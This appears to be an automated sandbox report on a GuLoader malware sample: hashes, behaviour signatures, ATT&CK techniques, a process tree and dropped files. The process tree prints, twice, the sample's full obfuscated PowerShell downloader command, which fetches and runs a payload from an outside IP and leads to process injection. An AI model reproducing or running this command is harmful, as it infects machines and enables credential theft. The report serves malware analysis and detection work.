guloader | fec5bb957bff39fc9d32793d5485483eb901a6a1356e6a25138ae1bb8089d7f7

Analysis

max time kernel
149s
max time network
151s
platform
windows10-2004_x64
resource
win10v2004-20240611-en
resource tags

arch:x64arch:x86image:win10v2004-20240611-enlocale:en-usos:windows10-2004-x64system
submitted
25/06/2024, 02:02

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
fec5bb957bff39fc9d32793d5485483eb901a6a1356e6a25138ae1bb8089d7f7.hta
Size 24KB
Sample240625-cgcebsvdna
SHA256 fec5bb957bff39fc9d32793d5485483eb901a6a1356e6a25138ae1bb8089d7f7
MD5 1234960c4d927466cfbb9897c4af1d0e
SHA1 eb834e095dff7f5f1d2a48d5268495d15cb183d3
SHA512 6f353bdf144dbdd20974445c334833197349da4fc91b6bb0c03c486abdbeefe98db80219b1367fc9fe471f30e8a465e37fa23d62e619108a434228006b8f2806
SSDEEP 768:rFcEgWIfttLKWs1v9erzdu48Ab5wQY+y4rBL1JPWUzmP:ZcEEfXL7snet8Ab5YCBTcP
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

guloader downloader

Malware Config

Signatures

Guloader,Cloudeye
A shellcode based downloader first seen in 2020.
downloader guloader

Blocklisted process makes network request 6 IoCs

flow	pid	Process
22	1256	powershell.exe
58	3792	mshta.exe
61	3792	mshta.exe
61	3792	mshta.exe
61	3792	mshta.exe
61	3792	mshta.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-200405930-3877336739-3533750831-1000\Control Panel\International\Geo\Nation	mshta.exe

Suspicious use of NtCreateThreadExHideFromDebugger 2 IoCs

pid	Process
4148	wab.exe
4148	wab.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

pid	Process
1872	powershell.exe
4148	wab.exe

Suspicious use of SetThreadContext 5 IoCs

description	pid	Process	procid_target
PID 1872 set thread context of 4148	1872	powershell.exe	106
PID 4148 set thread context of 3792	4148	wab.exe	83
PID 4148 set thread context of 4828	4148	wab.exe	110
PID 4828 set thread context of 3792	4828	net.exe	83
PID 4828 set thread context of 4956	4828	net.exe	112

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Modifies Internet Explorer settings 1 TTPs 1 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\Registry\User\S-1-5-21-200405930-3877336739-3533750831-1000\SOFTWARE\Microsoft\Internet Explorer\IntelliForms\Storage2	net.exe

Runs net.exe

Suspicious behavior: EnumeratesProcesses 21 IoCs

pid	Process
1256	powershell.exe
1256	powershell.exe
1872	powershell.exe
1872	powershell.exe
1872	powershell.exe
4148	wab.exe
4148	wab.exe
4148	wab.exe
4148	wab.exe
4148	wab.exe
4148	wab.exe
4148	wab.exe
4148	wab.exe
4828	net.exe
4828	net.exe
4828	net.exe
4828	net.exe
4828	net.exe
4828	net.exe
4828	net.exe
4828	net.exe

Suspicious behavior: MapViewOfSection 12 IoCs

pid	Process
1872	powershell.exe
1872	powershell.exe
1872	powershell.exe
1872	powershell.exe
1872	powershell.exe
4148	wab.exe
3792	mshta.exe
3792	mshta.exe
4828	net.exe
4828	net.exe
4828	net.exe
4828	net.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	1256	powershell.exe
Token: SeDebugPrivilege	1872	powershell.exe

Suspicious use of WriteProcessMemory 34 IoCs

description	pid	Process	procid_target
PID 3792 wrote to memory of 1256	3792	mshta.exe	84
PID 3792 wrote to memory of 1256	3792	mshta.exe	84
PID 3792 wrote to memory of 1256	3792	mshta.exe	84
PID 1256 wrote to memory of 4660	1256	powershell.exe	89
PID 1256 wrote to memory of 4660	1256	powershell.exe	89
PID 1256 wrote to memory of 4660	1256	powershell.exe	89
PID 1256 wrote to memory of 1872	1256	powershell.exe	98
PID 1256 wrote to memory of 1872	1256	powershell.exe	98
PID 1256 wrote to memory of 1872	1256	powershell.exe	98
PID 1872 wrote to memory of 4044	1872	powershell.exe	99
PID 1872 wrote to memory of 4044	1872	powershell.exe	99
PID 1872 wrote to memory of 4044	1872	powershell.exe	99
PID 1872 wrote to memory of 4640	1872	powershell.exe	102
PID 1872 wrote to memory of 4640	1872	powershell.exe	102
PID 1872 wrote to memory of 4640	1872	powershell.exe	102
PID 1872 wrote to memory of 1932	1872	powershell.exe	103
PID 1872 wrote to memory of 1932	1872	powershell.exe	103
PID 1872 wrote to memory of 1932	1872	powershell.exe	103
PID 1872 wrote to memory of 1820	1872	powershell.exe	104
PID 1872 wrote to memory of 1820	1872	powershell.exe	104
PID 1872 wrote to memory of 1820	1872	powershell.exe	104
PID 1872 wrote to memory of 692	1872	powershell.exe	105
PID 1872 wrote to memory of 692	1872	powershell.exe	105
PID 1872 wrote to memory of 692	1872	powershell.exe	105
PID 1872 wrote to memory of 4148	1872	powershell.exe	106
PID 1872 wrote to memory of 4148	1872	powershell.exe	106
PID 1872 wrote to memory of 4148	1872	powershell.exe	106
PID 1872 wrote to memory of 4148	1872	powershell.exe	106
PID 1872 wrote to memory of 4148	1872	powershell.exe	106
PID 3792 wrote to memory of 4828	3792	mshta.exe	110
PID 3792 wrote to memory of 4828	3792	mshta.exe	110
PID 3792 wrote to memory of 4828	3792	mshta.exe	110
PID 4828 wrote to memory of 4956	4828	net.exe	112
PID 4828 wrote to memory of 4956	4828	net.exe	112

C:\Windows\SysWOW64\mshta.exe
C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\fec5bb957bff39fc9d32793d5485483eb901a6a1356e6a25138ae1bb8089d7f7.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
1⤵
- Blocklisted process makes network request
- Checks computer location settings
- Suspicious behavior: MapViewOfSection
- Suspicious use of WriteProcessMemory
PID:3792
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "cls;write 'Revaccinations upstart Bodsvelsens Metachemical nonsilver Salgschefens210 Idealized17 Flyverkommando Fabliau Messelite139';$Tinternell = 1;Function Stternisse($Nationalindkomstens){$Augmenterer=$Nationalindkomstens.Length-$Tinternell;$Forlise='SUBSTRIN';$Forlise+='G';For( $Nominalist=5;$Nominalist -lt $Augmenterer;$Nominalist+=6){$Revaccinations+=$Nationalindkomstens.$Forlise.Invoke( $Nominalist, $Tinternell);}$Revaccinations;}function Moskito($Skrankepavens){ &($Urfolkenes) ($Skrankepavens);}$Impulser=Stternisse 'Pul iMpseudoSemipz RyleiRuneslElma.lGelndaTalip/ Spon5Regul.Unint0De.ot time(PajerW JauniStorsn pyrodM lanoGenkewKlvnisProdu De.enNE,airTArbej Dios.1.unfu0Fyred.Inves0Bivir; Tach IdrbmWsam,eiBrandnHelhe6,elau4Jer,i;Ravnk Pa tixscha,6bribe4 Ma,e;Udryd CoercrTablevGloss:Forbr1St,mo2Ghive1Sappy.Laten0Nybyg)Parl. famleGVer aeDys,ecStttekScintoF.mil/Alfae2 ungl0E,ect1Ch,or0Suffi0Beteg1Rumfa0Anlae1Un al .ibyFBegreiRetnirAakane TrkafQuercoMorgexBorgh/D,llf1Tvivl2Trian1.ilie.Forsy0Takle ';$Nightcrawlers117=Stternisse 'FestrUyoungs,eloweFdselr Sank-BalanA AutogbogeyePan.rnP,lemtUdela ';$nonsilver=Stternisse 'ManurhKohattSirbut,oncep Tes :genet/ F,rs/Venes1 Cyto9L.del4Sklms. Fuel5 Uncl9Dryas.unrep3tasta1Pream.T,dss1Stipe8Telen7Isane/SiriaM .utoaMisvasNeu ot GrovoLithoiDevasdBrytheErosioBrikecP,eureTurjanMaleftSal,teIndfasRhizoi estsF.nut.Colorsvgav nPse dpGalva ';$Martinetism=Stternisse 'U.ive>Hymen ';$Urfolkenes=Stternisse 'Co loi SupeeOmgr xEqu.l ';$Uddatafelts='Flyverkommando';$Minasithil = Stternisse 'Unbeve KalicKlanehGrasso Kons Cen r%spaciaSpildp Dekoppar cdTi,byaBombet EneraKarto%Coppe\JargoLovermaVendim B.rgiBathoiAfhaadFakulePraoosEfte,.ForarF,ennee hosls Fore realt&Glane&som,t PrefiePhospcHaplohKaryooPheno Resb.t Indt ';Moskito (Stternisse 'Col u$FlyttgBo,hulDknavoO hambOpsgtaOpar.lOtobl: ,ontPcoveru.kabeeReverbLumbolMooseo prvei ybasAnti e Krog=Grn e(stenbcBarwamUn crdcon,u Infa/Unaw.cRecip Deliq$ Co tMKlippik meln Posta ProgsUdvisiMark t nonphUnderiInd.jl ata)Manc, ');Moskito (Stternisse 'Va df$Skiftg,eathlSeizuoYellpb Da,ya s nglNavne:ForgiMSejldeFdseltSunr aObvolcEtikehThomaeSto.fmi teri,ejsec Suc,aSkydelB.nvn=Dedic$Su.punsko koOvar.n U crsFidgeis,ttll YdervBack.eJann rPancr.UundvsSt ropEvocalOrdreiIranst Opta(Comp.$PilotMMomsnaVtte,rDe,latM.shriSup,rnGynepeNondet natuiOktobsD admmSvige) tann ');Moskito (Stternisse 'polit[ F rtNNonaleSidewt.alen.LinjeS Unste ,essr PolyvFededi ,vercLledee.ugsePStereoAar iiBeskanZorilt,ooknMUnobsaNivelnTommeaCrotog ,meregliffrStkys]Di.tc:Skarn:Dro eSMelane naboc StaluOmstnr EpeniSkurttBedemyUnrigP UnlarCacoeoWindlt,yudco Kirkc UdfooCav,ll .ami rnd=Reinf Sm,l[ phocNHo,ede TygetDemon.TympaSInsuleenrolc EconuX.logrmelonivael.tAmmonyNos,uPFormar ,rnioPentatC.riso FrydcSu,teoIn,galImparTmili,yT blopCaenoeAccid]Hresp:Tilgr:Ali tT OverlDeplosSei,e1,rein2 Trou ');$nonsilver=$Metachemical[0];$Filehugs= (Stternisse ' lobu$EpidogSjofelBendio AllobAnta.aRenselTapet: P.reDAiraeuRygninenfecdIntepe BlitrMorseh HaiteCarniaUnfixd Unfrsdaas,=MyoinN FlleeTapstw Unet-Ban aOJetstbEgo,rjCow eeMod.acHer itBlaah rbeS .vinyRae nsArvebtforbleRindemNeutr. BagsNU cryeBloodtPryta.M croW VideeDoktrbCome C OuzelS.lekiHobb,eHaandnTidsbt');$Filehugs+=$Puebloise[1];Moskito ($Filehugs);Moskito (Stternisse 'Scu d$BarveDFrednuEffe,nDiskedToitoe jlper EftehSo.mee Goura Wa idUn,ims.lagt.ScammHEffloeRespiaProjed .dskePaludr ingusSuffu[Hofl,$BrekrNPerkeiT,mmygSca.ihTroketMarkjcStvknrP,brea PorcwGenerlNonfeerektirfnik sko ke1Rodte1List.7Kakof]Nonsp=Indsm$RummeIAphr.mPiec.pform.uSalgslWa.kesPantoe.lminrGamme ');$kroketkuglerne=Stternisse 'Blgni$ eseDBil.iuTendenOve qd O.ereUnredrMa.tohRus.aeSv.teaRygstdVipersPloug.NglerD.oldboslutnw,ndfonSlrinlPartioN araa PfundBuf oFsmil iSka,tlEp kueHandp(Engil$TrksdnUnloboDigonn El ksHvidviTurrulOversvov,rseSha,arHeret,Gl,om$ HeadE,ilsvxLegitounderr.recubFore i nimt reelaRenssn OvertVelbelSkrapyPhleb)Tumef ';$Exorbitantly=$Puebloise[0];Moskito (Stternisse 'undta$,idragL,tmelS.rpeoAllotbLacusaLiftalDatas:NeglefTr.djaCawkyg AyasbJapanlWeigha.eliddAminas RdkakLuesslTox curevitb A.rjbLollie TentnAands= radr(SheikT LawyeDristsSrklat.evil-anskrPuncoga BalktGd.inhRyeb. M,cro$LysreEjordsx.anseoTu.ghrEnsetbStabliSus etBoileaHexa,nrobbetDi,pelCounty Doe,) Circ ');while (!$fagbladsklubben) {Moskito (Stternisse 'Impac$ RufigTilpal UdstoErantbKarbuaIam.elRe.ec: Hos.SFiberusilens RepapRealveSlau,n.ambod,olkeeKommurSt.tce rembtAfpil=Kra,s$SupertPersprPaaliuEnke.eS.ide ') ;Moskito $kroketkuglerne;Moskito (Stternisse 'KorteSMaddetc,eataKlassrphilotForsk-bl ekS erulA pareBut,ke HoejpClite Nonfl4Beton ');Moskito (Stternisse 'Murst$EldingProtolUntakoPetroblic.eaAfri.l.andb: MiddfFantaa,lowfgC,llobDogmalRetteaHackndJeepesJell,k,hytolGoldfuConsib EquibEbonieUnactnUba,m=Escap(BenzoTG,nereun.els B.uet Sym.-MolluPSpejla SammtArbo,hFe,ev Rigsa$UdskrEResvaxGra io Lkker Ud,ibF.rmgia,tentNykb a VisenLithot,ortalUncolyM,ljb)Divin ') ;Moskito (Stternisse ' St.u$.ntragMuddil Wor.o A tebIndlaaKabysl.elds:TidlnBZippeoBiok,dMa,nssWanghvBrande ,inilr tges F.emeCallinMudcasskibs=Oktae$OutspgDrostl remboUdsk,bIndl.a BarolOu sl:AdresuNaturpN repsOverltHaseraDegrer onttEfter+Tende+ Selv%unmo.$Co,deMAla.aeSymp.tNuntiaNursic tr ghObsceeMicromKunstiChivvc Kuriaven ilRolle.H.nsycOliefoE viluAsthenRund tSchwa ') ;$nonsilver=$Metachemical[$Bodsvelsens];}$Thiobacteriales=300055;$Samspilsproblem=29308;Moskito (Stternisse 'Roa,i$KlinigMe,erl Put.oNedkob HerraBemirl Arb,: MorpFUnshraBoli b,intelPsykeiUnriga GedeuReenu Spri=Bebre TelevG PeteeTarzatRelat-PesteCCamemoTypennIntertU.dereHorrinCytultDmoni Thiaz$.inifE VestxS,ibao Lo.prCelembVikiniNeolotSpe laLigronTheoctVindilGr.tuyPr.te ');Moskito (Stternisse 'Min,s$R.pubgAdverlSprjtoPseudb radraPhy ilCribd: GnavNVattea Syger WhiprImperet,rnenIroko Unnob=Medji Svrn[RockwSFoutryU stisSub,atMil eeOverfmT.tra.UnworCTrianoafbrknCodesvFritieEl enrFolactI tra],antu:Forhe:ga,biFO,igir F,afoDugenmSejp,BUnlocaRaflesOpnoreP,sek6Semiq4D,sseSredbutRea.lrMoraliSekten,amehgF.wne( esat$gekkoFTungeaEvocabFremsl eferi FlydafyllauOwlbe)Fatam ');Moskito (Stternisse 'Unr,s$PneumgMilselH reioRepa bNonvia FugllEk tr:VannePInfillHoloca Savss gyrot,amaooAn agmSel.ieIn.latMahatrPs,udiBere cBruge S,pe= alac Unsen[SubsiSF cifyCollasInstitSkol.eEndebmr gis. criT Re,ieReserxStrdetUrban.AcrogE Out nTroezcTub.loPandodL etiiMegacnlettegTaos ]Feltn:Alrun:.inarAB uskSCran CCarobI MarkIAfkli.GenerGSmaapeP.rcet ndevSFingetS.arpr IncoiOl etnBru,eg D,pl( C ed$AlbumNsnoutaReposrBlyinrKegleeTertin Skol)Sa,sk ');Moskito (Stternisse 'Togp.$ OleagResonl Had,oNonlybNonrhaNasutlHypos:Skat,SAf,igeLagerxAminiuGastraSnirklI,hthe Popu= Ca y$ BetlP HjlplJ,rdba istosLysbitTrollo LunamPropye Indet,agrerSpleniBrddecBumfs.SugarsAleb,uAnstobWiviasBoltrtBreasrbuff.iVandbn NonsgHerpe(Inter$IndopT SurshAntikiI.quio Co yb SpaaaUnrecc.verat Perie Culor Exsui Fe.eaPlumblmerfoeGlohesTri h,G,opo$ImporSRadi a Cinem LacusAnim pLivsfiOink lHalshsBundtpAnd ir Di.moBrugnb PotelSnappe E,ecmHjlpe)Surfa ');Moskito $Sexuale;"
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1256
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "echo %appdata%\Lamiides.Fes && echo t"
    3⤵
    PID:4660
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "cls;write 'Revaccinations upstart Bodsvelsens Metachemical nonsilver Salgschefens210 Idealized17 Flyverkommando Fabliau Messelite139';$Tinternell = 1;Function Stternisse($Nationalindkomstens){$Augmenterer=$Nationalindkomstens.Length-$Tinternell;$Forlise='SUBSTRIN';$Forlise+='G';For( $Nominalist=5;$Nominalist -lt $Augmenterer;$Nominalist+=6){$Revaccinations+=$Nationalindkomstens.$Forlise.Invoke( $Nominalist, $Tinternell);}$Revaccinations;}function Moskito($Skrankepavens){ &($Urfolkenes) ($Skrankepavens);}$Impulser=Stternisse 'Pul iMpseudoSemipz RyleiRuneslElma.lGelndaTalip/ Spon5Regul.Unint0De.ot time(PajerW JauniStorsn pyrodM lanoGenkewKlvnisProdu De.enNE,airTArbej Dios.1.unfu0Fyred.Inves0Bivir; Tach IdrbmWsam,eiBrandnHelhe6,elau4Jer,i;Ravnk Pa tixscha,6bribe4 Ma,e;Udryd CoercrTablevGloss:Forbr1St,mo2Ghive1Sappy.Laten0Nybyg)Parl. famleGVer aeDys,ecStttekScintoF.mil/Alfae2 ungl0E,ect1Ch,or0Suffi0Beteg1Rumfa0Anlae1Un al .ibyFBegreiRetnirAakane TrkafQuercoMorgexBorgh/D,llf1Tvivl2Trian1.ilie.Forsy0Takle ';$Nightcrawlers117=Stternisse 'FestrUyoungs,eloweFdselr Sank-BalanA AutogbogeyePan.rnP,lemtUdela ';$nonsilver=Stternisse 'ManurhKohattSirbut,oncep Tes :genet/ F,rs/Venes1 Cyto9L.del4Sklms. Fuel5 Uncl9Dryas.unrep3tasta1Pream.T,dss1Stipe8Telen7Isane/SiriaM .utoaMisvasNeu ot GrovoLithoiDevasdBrytheErosioBrikecP,eureTurjanMaleftSal,teIndfasRhizoi estsF.nut.Colorsvgav nPse dpGalva ';$Martinetism=Stternisse 'U.ive>Hymen ';$Urfolkenes=Stternisse 'Co loi SupeeOmgr xEqu.l ';$Uddatafelts='Flyverkommando';$Minasithil = Stternisse 'Unbeve KalicKlanehGrasso Kons Cen r%spaciaSpildp Dekoppar cdTi,byaBombet EneraKarto%Coppe\JargoLovermaVendim B.rgiBathoiAfhaadFakulePraoosEfte,.ForarF,ennee hosls Fore realt&Glane&som,t PrefiePhospcHaplohKaryooPheno Resb.t Indt ';Moskito (Stternisse 'Col u$FlyttgBo,hulDknavoO hambOpsgtaOpar.lOtobl: ,ontPcoveru.kabeeReverbLumbolMooseo prvei ybasAnti e Krog=Grn e(stenbcBarwamUn crdcon,u Infa/Unaw.cRecip Deliq$ Co tMKlippik meln Posta ProgsUdvisiMark t nonphUnderiInd.jl ata)Manc, ');Moskito (Stternisse 'Va df$Skiftg,eathlSeizuoYellpb Da,ya s nglNavne:ForgiMSejldeFdseltSunr aObvolcEtikehThomaeSto.fmi teri,ejsec Suc,aSkydelB.nvn=Dedic$Su.punsko koOvar.n U crsFidgeis,ttll YdervBack.eJann rPancr.UundvsSt ropEvocalOrdreiIranst Opta(Comp.$PilotMMomsnaVtte,rDe,latM.shriSup,rnGynepeNondet natuiOktobsD admmSvige) tann ');Moskito (Stternisse 'polit[ F rtNNonaleSidewt.alen.LinjeS Unste ,essr PolyvFededi ,vercLledee.ugsePStereoAar iiBeskanZorilt,ooknMUnobsaNivelnTommeaCrotog ,meregliffrStkys]Di.tc:Skarn:Dro eSMelane naboc StaluOmstnr EpeniSkurttBedemyUnrigP UnlarCacoeoWindlt,yudco Kirkc UdfooCav,ll .ami rnd=Reinf Sm,l[ phocNHo,ede TygetDemon.TympaSInsuleenrolc EconuX.logrmelonivael.tAmmonyNos,uPFormar ,rnioPentatC.riso FrydcSu,teoIn,galImparTmili,yT blopCaenoeAccid]Hresp:Tilgr:Ali tT OverlDeplosSei,e1,rein2 Trou ');$nonsilver=$Metachemical[0];$Filehugs= (Stternisse ' lobu$EpidogSjofelBendio AllobAnta.aRenselTapet: P.reDAiraeuRygninenfecdIntepe BlitrMorseh HaiteCarniaUnfixd Unfrsdaas,=MyoinN FlleeTapstw Unet-Ban aOJetstbEgo,rjCow eeMod.acHer itBlaah rbeS .vinyRae nsArvebtforbleRindemNeutr. BagsNU cryeBloodtPryta.M croW VideeDoktrbCome C OuzelS.lekiHobb,eHaandnTidsbt');$Filehugs+=$Puebloise[1];Moskito ($Filehugs);Moskito (Stternisse 'Scu d$BarveDFrednuEffe,nDiskedToitoe jlper EftehSo.mee Goura Wa idUn,ims.lagt.ScammHEffloeRespiaProjed .dskePaludr ingusSuffu[Hofl,$BrekrNPerkeiT,mmygSca.ihTroketMarkjcStvknrP,brea PorcwGenerlNonfeerektirfnik sko ke1Rodte1List.7Kakof]Nonsp=Indsm$RummeIAphr.mPiec.pform.uSalgslWa.kesPantoe.lminrGamme ');$kroketkuglerne=Stternisse 'Blgni$ eseDBil.iuTendenOve qd O.ereUnredrMa.tohRus.aeSv.teaRygstdVipersPloug.NglerD.oldboslutnw,ndfonSlrinlPartioN araa PfundBuf oFsmil iSka,tlEp kueHandp(Engil$TrksdnUnloboDigonn El ksHvidviTurrulOversvov,rseSha,arHeret,Gl,om$ HeadE,ilsvxLegitounderr.recubFore i nimt reelaRenssn OvertVelbelSkrapyPhleb)Tumef ';$Exorbitantly=$Puebloise[0];Moskito (Stternisse 'undta$,idragL,tmelS.rpeoAllotbLacusaLiftalDatas:NeglefTr.djaCawkyg AyasbJapanlWeigha.eliddAminas RdkakLuesslTox curevitb A.rjbLollie TentnAands= radr(SheikT LawyeDristsSrklat.evil-anskrPuncoga BalktGd.inhRyeb. M,cro$LysreEjordsx.anseoTu.ghrEnsetbStabliSus etBoileaHexa,nrobbetDi,pelCounty Doe,) Circ ');while (!$fagbladsklubben) {Moskito (Stternisse 'Impac$ RufigTilpal UdstoErantbKarbuaIam.elRe.ec: Hos.SFiberusilens RepapRealveSlau,n.ambod,olkeeKommurSt.tce rembtAfpil=Kra,s$SupertPersprPaaliuEnke.eS.ide ') ;Moskito $kroketkuglerne;Moskito (Stternisse 'KorteSMaddetc,eataKlassrphilotForsk-bl ekS erulA pareBut,ke HoejpClite Nonfl4Beton ');Moskito (Stternisse 'Murst$EldingProtolUntakoPetroblic.eaAfri.l.andb: MiddfFantaa,lowfgC,llobDogmalRetteaHackndJeepesJell,k,hytolGoldfuConsib EquibEbonieUnactnUba,m=Escap(BenzoTG,nereun.els B.uet Sym.-MolluPSpejla SammtArbo,hFe,ev Rigsa$UdskrEResvaxGra io Lkker Ud,ibF.rmgia,tentNykb a VisenLithot,ortalUncolyM,ljb)Divin ') ;Moskito (Stternisse ' St.u$.ntragMuddil Wor.o A tebIndlaaKabysl.elds:TidlnBZippeoBiok,dMa,nssWanghvBrande ,inilr tges F.emeCallinMudcasskibs=Oktae$OutspgDrostl remboUdsk,bIndl.a BarolOu sl:AdresuNaturpN repsOverltHaseraDegrer onttEfter+Tende+ Selv%unmo.$Co,deMAla.aeSymp.tNuntiaNursic tr ghObsceeMicromKunstiChivvc Kuriaven ilRolle.H.nsycOliefoE viluAsthenRund tSchwa ') ;$nonsilver=$Metachemical[$Bodsvelsens];}$Thiobacteriales=300055;$Samspilsproblem=29308;Moskito (Stternisse 'Roa,i$KlinigMe,erl Put.oNedkob HerraBemirl Arb,: MorpFUnshraBoli b,intelPsykeiUnriga GedeuReenu Spri=Bebre TelevG PeteeTarzatRelat-PesteCCamemoTypennIntertU.dereHorrinCytultDmoni Thiaz$.inifE VestxS,ibao Lo.prCelembVikiniNeolotSpe laLigronTheoctVindilGr.tuyPr.te ');Moskito (Stternisse 'Min,s$R.pubgAdverlSprjtoPseudb radraPhy ilCribd: GnavNVattea Syger WhiprImperet,rnenIroko Unnob=Medji Svrn[RockwSFoutryU stisSub,atMil eeOverfmT.tra.UnworCTrianoafbrknCodesvFritieEl enrFolactI tra],antu:Forhe:ga,biFO,igir F,afoDugenmSejp,BUnlocaRaflesOpnoreP,sek6Semiq4D,sseSredbutRea.lrMoraliSekten,amehgF.wne( esat$gekkoFTungeaEvocabFremsl eferi FlydafyllauOwlbe)Fatam ');Moskito (Stternisse 'Unr,s$PneumgMilselH reioRepa bNonvia FugllEk tr:VannePInfillHoloca Savss gyrot,amaooAn agmSel.ieIn.latMahatrPs,udiBere cBruge S,pe= alac Unsen[SubsiSF cifyCollasInstitSkol.eEndebmr gis. criT Re,ieReserxStrdetUrban.AcrogE Out nTroezcTub.loPandodL etiiMegacnlettegTaos ]Feltn:Alrun:.inarAB uskSCran CCarobI MarkIAfkli.GenerGSmaapeP.rcet ndevSFingetS.arpr IncoiOl etnBru,eg D,pl( C ed$AlbumNsnoutaReposrBlyinrKegleeTertin Skol)Sa,sk ');Moskito (Stternisse 'Togp.$ OleagResonl Had,oNonlybNonrhaNasutlHypos:Skat,SAf,igeLagerxAminiuGastraSnirklI,hthe Popu= Ca y$ BetlP HjlplJ,rdba istosLysbitTrollo LunamPropye Indet,agrerSpleniBrddecBumfs.SugarsAleb,uAnstobWiviasBoltrtBreasrbuff.iVandbn NonsgHerpe(Inter$IndopT SurshAntikiI.quio Co yb SpaaaUnrecc.verat Perie Culor Exsui Fe.eaPlumblmerfoeGlohesTri h,G,opo$ImporSRadi a Cinem LacusAnim pLivsfiOink lHalshsBundtpAnd ir Di.moBrugnb PotelSnappe E,ecmHjlpe)Surfa ');Moskito $Sexuale;"
    3⤵
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - Suspicious use of SetThreadContext
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious behavior: MapViewOfSection
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:1872
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "echo %appdata%\Lamiides.Fes && echo t"
      4⤵
      PID:4044
  - - C:\Program Files (x86)\windows mail\wab.exe
      "C:\Program Files (x86)\windows mail\wab.exe"
      4⤵
      PID:4640
  - - C:\Program Files (x86)\windows mail\wab.exe
      "C:\Program Files (x86)\windows mail\wab.exe"
      4⤵
      PID:1932
  - - C:\Program Files (x86)\windows mail\wab.exe
      "C:\Program Files (x86)\windows mail\wab.exe"
      4⤵
      PID:1820
  - - C:\Program Files (x86)\windows mail\wab.exe
      "C:\Program Files (x86)\windows mail\wab.exe"
      4⤵
      PID:692
  - - C:\Program Files (x86)\windows mail\wab.exe
      "C:\Program Files (x86)\windows mail\wab.exe"
      4⤵
      Suspicious use of NtCreateThreadExHideFromDebugger
      Suspicious use of NtSetInformationThreadHideFromDebugger
      Suspicious use of SetThreadContext
      Suspicious behavior: EnumeratesProcesses
      Suspicious behavior: MapViewOfSection
      PID:4148
- C:\Windows\SysWOW64\net.exe
  "C:\Windows\SysWOW64\net.exe"
  2⤵
  - Suspicious use of SetThreadContext
  - Modifies Internet Explorer settings
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: MapViewOfSection
  - Suspicious use of WriteProcessMemory
  PID:4828
- - C:\Program Files\Mozilla Firefox\Firefox.exe
    "C:\Program Files\Mozilla Firefox\Firefox.exe"
    3⤵
    PID:4956

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

ModuleAnalysisCache

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
Size 53KB
SHA256 98fd693b92a71e24110ce7d018a117757ffdfe0e551a33c5fa5d8888a2d74fb0
MD5 d4d8cef58818612769a698c291ca3b37
SHA1 54e0a6e0c08723157829cea009ec4fe30bea5c50
SHA512 f165b1dde8f251e95d137a466d9bb77240396e289d1b2f8f1e9a28a6470545df07d00da6449250a1a0d73364c9cb6c00fd6229a385585a734da1ac65ac7e57f6
SSDEEP 1536:q5C+jH04tAHkCSMrxyNhftflJdPYodV3CNBQkj20LUsszyhMUp7Fv+Eca5b/h4ie:KC+jH04tAHk5MrxyNhftflJdPYodV3CQ
MD5 SHA1 SHA512 SSDEEP

Submit Download

__PSScriptPolicyTest_ahmpq4rw.1bg.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ahmpq4rw.1bg.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
MD5 SHA1 SHA512

Submit Download

Lamiides.Fes

Path C:\Users\Admin\AppData\Roaming\Lamiides.Fes
Size 428KB
SHA256 b4ce8f96b8078eb685b1698377d7ff383411e4f0966313634dca744a2b8adec2
MD5 1b20561367326181624414498100e8df
SHA1 5ed392769674c40c817d4e5784bf040bb33920d7
SHA512 1942cdebe96fb9b3fad0035ca9f09a74e87aad93d018ddec59e3fcbbef22437401edc4278f6b6eb7d3866fbd3c65c706507cf43f3297e79190d0e39333001db4
SSDEEP 6144:zNgxssMvELiKw69Px2nF3LZaukk6riHuupLfVmb1a8+4rKb2uDzhEByPTdZKy+2N:Bgx7iKw2EbZaukKuudfIE6k1Pqtzjs
MD5 SHA1 SHA512 SSDEEP

Submit Download

memory/1256-22-0x0000000007620000-0x00000000076B6000-memory.dmp

Download

memory/1256-24-0x0000000008810000-0x0000000008DB4000-memory.dmp

Download

memory/1256-4-0x0000000070FB0000-0x0000000071760000-memory.dmp

Download

memory/1256-6-0x0000000005C10000-0x0000000005C76000-memory.dmp

Download

memory/1256-7-0x0000000005D30000-0x0000000005D96000-memory.dmp

Download

